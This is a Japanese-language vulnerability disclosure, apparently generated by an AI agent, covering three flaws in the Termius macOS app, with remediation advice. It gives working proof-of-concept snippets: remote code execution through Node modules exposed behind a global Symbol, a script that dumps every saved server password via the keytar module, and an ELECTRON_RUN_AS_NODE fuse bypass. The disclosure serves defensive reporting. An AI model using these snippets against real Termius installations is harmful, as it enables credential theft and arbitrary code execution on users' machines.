
TermiusのmacOS向け3つの重大な脆弱性(露出したNodeモジュールを介したリモートコード実行、ローカル権限昇格による認証情報ダンプ、Electronのfuseバイパス)に関するPoC付き脆弱性開示です。修復ガイダンスも含みます。
対象: Termius (macOS) テスト済みバージョン: 最新版 (2026年1月時点) 影響: リモートコード実行 (RCE)、ローカル権限昇格 (LPE)、アプリセキュリティバイパス
Termius macOS アプリケーションにおいて、攻撃者による以下の行為を可能にする3つの重大な脆弱性が特定されました:
keytar ネイティブモジュールの悪用による。ELECTRON_RUN_AS_NODE フューズの利用による。このアプリケーションは、強力な Node.js モジュール (child_process、fs、electron) をレンダラープロセス (アプリのWebインターフェース部分) に公開しています。これらのモジュールは難読化を目的として window オブジェクト内のグローバル Symbol の背後に隠されていますが、安全には分離されていません。
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
クロスサイトスクリプティング (XSS) を達成した攻撃者は、この公開されたシンボルを使用して即座に RCE へと昇格できます。
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Termius が macOS キーチェーンとの連携に使用する keytar ネイティブ Node モジュールも、同じ隠しシンボルを介して公開されています。これにより、アプリケーションコンテキスト内で実行される任意のスクリプト (悪意のあるプラグイン、XSS、ローカルプロセスインジェクションなど) が、保存済みの全サーバーの平文パスワードを照会・取得できます。
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode) の欠落Termius バイナリは ELECTRON_RUN_AS_NODE フューズを無効化していません。これは重大なセキュリティ設定ミスであり、ローカルのあらゆるユーザーが署名済みの Termius バイナリを標準の Node.js 実行ファイルとして実行できるようになります。これにより、アプリケーションロジックに対する macOS コード署名の整合性チェックが完全にバイパスされます。
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
@electron/fuses を使用して RunAsNode と EnableNodeCliInspectArguments を明示的に無効化します。window や global にアタッチしないでください。必要な関数のみを公開する制限付き API サーフェスを持つ contextBridge.exposeInMainWorld を使用し、モジュール全体は公開しないようにします。Antigravity Agent によって生成されたレポート